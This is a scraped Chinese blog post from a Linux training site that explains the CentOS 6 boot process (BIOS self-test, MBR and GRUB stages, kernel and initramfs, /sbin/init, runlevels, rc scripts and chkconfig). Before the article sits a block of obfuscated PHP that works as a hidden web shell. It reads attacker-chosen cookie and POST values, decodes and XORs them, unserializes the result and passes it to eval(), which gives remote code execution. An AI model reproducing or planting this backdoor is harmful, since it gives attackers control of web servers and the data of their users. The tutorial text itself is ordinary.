$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} CentOS 6系统启动流程 | Linux运维部落

CentOS 6系统启动流程

Linux系统的组成

内核+根文件系统
内核功能:
    进程管理、内存管理、文件系统管理、网络管理、安全功能、驱动程序

运行中的系统环境可分为两层:内核空间、用户空间
    用户空间:应用程序(进程或线程)
    内核空间:内核代码(系统调用)

内核设计流派:
    单内核设计:把所有功能集成与同一个程序
        Linux
    微内核设计:每种功能使用一个单独的子系统实现
        Windows,Solaris

    Linux内核特定:
        支持模块化:.ko(Kernel Object)
        支持模块运行时动态装载或卸载

        组成部分:
            核心文件:/boot/vmlinuz-VERSION-release
            ramdisk:
                CentOS 5:/boot/initrd-VERSION-release.img
                CentOS 6,7:/boot/initramfs-VERSION-release.img
            模块文件:/lib/modules/VERSION-release

CentOS系统启动流程

整体来说系统启动分为以下几个过程:

%ZZ(2}_)I(VCNDFP$47J1F0.png

1.加电自检

步骤1:通过BIOS(Basic Input Output System)即基本输入输出系统来检测硬件设备是否存在且运行正常,如:CPU、内存、硬盘,如果有异常情况,BIOS自检阶段会报错,从而导致系统无法启动
步骤2:去读BIOS启动顺序当中的第一个可引导设备(例如硬盘)的第一个扇区(MBR 512字节),然后执行里面的代码,实际上这里BIOS并不关心启动设备第一个扇区中是什么内容,它只是负责读取该扇区内容、并执行

2.Boot Loader

 我们首先来了解一下MBR,它是Master Boot Record的缩写。硬盘的0柱面、0磁头、1扇区称为主引导扇区。它由三个部分组成,主引导程序(Bootloader)、 硬盘分区表DPT(Disk Partition table)和硬盘有效标志(55AA)
 Boot loader:引导加载器
    Windows:ntloader
    Linux:LILO、GRUB

我们以GRUB为例来分析整个过程:
    Boot loader的主要功能是功能丰富,提供菜单,允许用户选择要启动系统或不同的内核版本;把用户选定的内核装载到内存中的特定空间中,解压、展开,并把系统控制权移交给内核。存放于MBR的前446bytes当中,但是446bytes容纳这么多功能,显然是很难得,因此,将Boot loader程序分为三个阶段来运行:
        stage1:存放于MBR的前446bytes当中,负责引导stage2
        stage1.5:在MBR之后的扇区中存放,让stage1中的bootloader能识别stage2所在的分区上的文件系统
        stage2:通过Bootloader加载所有配置文件及相关的环境参数信息,这些配置文件及相关的环境参数存放于磁盘分区上的/boot/grub目录下

3.加载kernel

在Bootloader开始读取操作系统内核文件后,接下来会将内核文件解压缩后装载到内存当中,然后根据内核提供的功能开始测试与加载各个设备(CPU、硬盘、网卡等)。
通过ramdisk来加载设备的驱动程序
    ramdisk:
        能够通过bootloader程序将其加载到内存当中,然后这个文件会被加压缩并且在内存中模拟一个根文件系统,这个根文件系统能够提供一个可运行的程序,通过该程序加载在启动过程当中所需要的核心模块。
    CentOS 5:initrd,工具程序:mkinitrd
    CentOS 6:initramfs,工具程序:mkinitrd,dracut
        mkinitrd initramfs-KERNEL-VERSION.img KERNEL-VERSION

Boot loader可以加载kernel以initrd,然后在内存中让initrd解压缩成根目录,然后内核可以在这个虚拟的根文件系统上加载和是的驱动程序,来加载硬盘等设备,之后释放虚拟的根文件系统,并以只读方式挂载磁盘上真实的根文件系统,之后启动/sbin/init程序

内核空间启动过程

POST --> BootSequence(BIOS) --> BootLoader(MBR) --> kernel(ramdisk) --> rootfs(readonly) --> /sbin/init

4.启动用户空间第一个执行程序/sbin/init

init程序
    CentOS 5:采用Sys V,配置文件为/etc/inittab
    CentOS 6:采用Upstart方式,特点是守护进程间的通信依赖于D-Bus进行,因此,可基本实现类似并行启动;
        配置文件:/etc/inittab、/etc/init/*.conf
    CentOS 7:采用systemd方式,服务只有在第一次被访问到时才会真正启动起来,因此,启动过程非常之快
        配置文件:/usr/lib/systemd/system, /etc/systemd/system

运行级别:为了系统的运行或维护等目的而设定的机制
    0:关机,shutdown
    1:单用户模式(single),root用户,无须认证可直接登录
    2:多用户模式,会启用网络功能,但不会启用nfs,维护模式
    3:正常模式,多用户,全功能,文本界面,通常用于服务器
    4:预留级别
    5:正常模式,多用户,全功能,图形界面操作,一般用于个人
    6:重启,reboot

    默认级别:3,5
    级别切换:init #
    级别查看:who -r或runlevel

在内核、硬件及驱动信息加载完毕后,内核会呼叫用户空间中的第一个执行程序/sbin/init,是所有进程的父进程,init程序主要功能是对系统进行初始化:

    1.首先会去读取配置文件/etc/inittab、/etc/init/*.conf
        /etc/inittab文件格式
            id:一个任务的标识符
            runlevels:在哪些级别下运行此任务#,##,可以为空,表示所有级别
            action:在什么条件下运行此任务
            process:任务

        action:
            wait:切换至此级别运行一次
            respawn:此process终止,就重新启动之
            initdefault:默认运行级别;process省略
            sysinit:设定系统初始方式,此处一般指为/etc/rc.d/rc.sysinit

    2.根据以上配置文件当中所定义运行级别以及参数去执行/etc/rc.d/rc.sysinit进行系统的初始化,/etc/rc.d/rc.sysinit所做的事情主要以下几点
        (1)根据配置文件中的设定来配置主机名(去读/etc/sysconfig/network文件中HOSTNAME进行)
        (2)打印文本欢迎信息
        (3)挂载所有定义在/etc/fstab文件中的文件系统
        (4)激活swap设备
        (5)激活SELinux和udev
        (6)检测根文件系统,并实现以读写方式重新挂载
        (7)设置系统时钟
        (8)根据/etc/sysctl.conf文件设定内核参数的值
        (9)激活LVM和RAID设备
        (10)加载额外的设备驱动程序
        (11)清理操作

    3.根据默认运行级别执行/etc/rc.d/rc脚本
        /etc/rc.d/rc脚本根据默认运行级别去启动或关闭/etc/rc.d/rc#.d目录下的所有脚本
            K*:要停止的服务;k##*,优先级,数字越小,越是优先关闭;依赖的服务先关闭,而后关闭被依赖的
            S*:要启动的服务;S##*,优先级,数字越小,越是优先启动,被依赖的服务先启动,而依赖的服务后启动
        rc脚本:接受一个运行级别数字为参数
            /etc/init.d/*(/etc/rc.d/init.d/*)脚本执行方式
                # /etc/init.d/SRV_SCRIPT {start|stop|restart|status}
                # service SRV_SCRIPT {start|stop|restart|status}

            chkconfig命令:管控/etc/init.d目录下每个脚本在各级别下的启动或关闭状态
                查看:chkconfig --list [NAME]
                添加:chkconfig --add SRV_NAME
                    能被添加至服务脚本定义格式之一:
                        #!/bin/bash
                        #
                        # chkconfig: LLL NN NN
                        # description:
                删除:chkconfig --del SRV_NAME
                修改指定的连接类型:
                    chkconfig [--level LEVELS] name <one|off|reset>
                        --level LEVELS:指定要控制的运行级别,默认为2345
    4.执行/etc/rc.d/rc.local脚本
        正常级别下,最后启动的一个服务S99local没有连接至/etc/init.d/下的某脚本,而是链接至了/etc/rc.d/rc.local脚本;因此,不便或不需写为服务脚本的程序期望能开机自动运行时,直接放置于此脚本文件中即可
    5.在完成系统所有先关服务启动之后,接下来Linux就会启动终端或者是X Window来向用户提供登录界面
        根据/etc/init/tty.conf文件中的配置启动一个应用程序-----login
        如果默认运行级别为5,会启动一个图形虚拟终端,附加X应用程序

用户空间的启动流程:/sbin/init

设置默认运行界别 --> 运行系统初始化脚本,完成系统初始化 --> 关闭对应级别下需要停止的服务,启动对应级别下需要开启的服务 --> 设置登录终端 --> login

系统启动流程简要总结

POST加电自检 --> Boot Sequence(BIOS) --> Boot Loader(GRUB) --> kernel(ramfs) --> rootfs(readonly) --> switchroot --> /sbin/init --> (/etc/inittab, /etc/init/*.conf) --> 设定默认运行级别 --> 初始化系统脚本(/etc/rc.d/rc.sysinit) --> 关闭或启动对应级别下的服务(/etc/rc.d/rc#.d/) --> 启动终端程序

原创文章,作者:zhai796898,如若转载,请注明出处:http://www.178linux.com/46531

(0)
上一篇 2016-09-15 16:07
下一篇 2016-09-15 17:42

相关推荐

  • 第三周作业

    1.列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可。 [root@localhost ~]# who | cut -d' ' -f1 | sort -u 2.取出最后登录到当前系统的用户的相关信息。 […

    Linux干货 2017-01-04
  • N25_第四周

    1、复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限。 cp -R /etc/skel /home/tuser1chmod 700 -R /home/tuser1 2、编辑/etc/group文件,添加组hadoop。 vim /etc/group hadoop:x:1010:1…

    Linux干货 2016-12-25
  • netstat命令和ss命令

    详解netstat命令和ss命令

    Linux干货 2018-01-01
  • 对修改提示符引起的一些问题的理解

    有一个练习:提示符修改过后永久保存,每次打开一个新的shell,提示符都为已设定好的格式,不会因为打开新的shell而不同。 在做这个练习的时候遇到了不少问题,通过不断bing,将起初很陌生的问题一点点的解决,得到了一些理解,因此将理解写下来。 提示符与变量PS1有关,PS1的值可以被修改或重新赋予。PS1的值变,则提示符也会变。通过搜索得到只要在/etc/…

    Linux干货 2017-07-15
  • mongodb及NoSQL入门学习总结

    分布式系统理论 一、 CAP: 分布式系统只能够,满足其中两个  1. Consistency : all nodes see the same data at the same time 一个节点修改后,需马上复制到第二个节点。如果网络故障,第二个节点将不能同步第一个节点更新的数据。这就是不能满足一致性。 2. Availibility:a guarant…

    2017-09-14
  • DNS 的搭建 子域授权及转发(正向解析)

           dns(名称解析服务).它的作用就是将主机名解析成ip地址的过程,同时它是一个分布式,分层次的主机名管理架构。为了我们能更好的了解与理解,实验才是更好的。     安装部署DNS服务: 一.首先安装DNS服务器软件 bind,还有其他相关的软件包,有bind-libs(库文件),bin…

    2017-07-31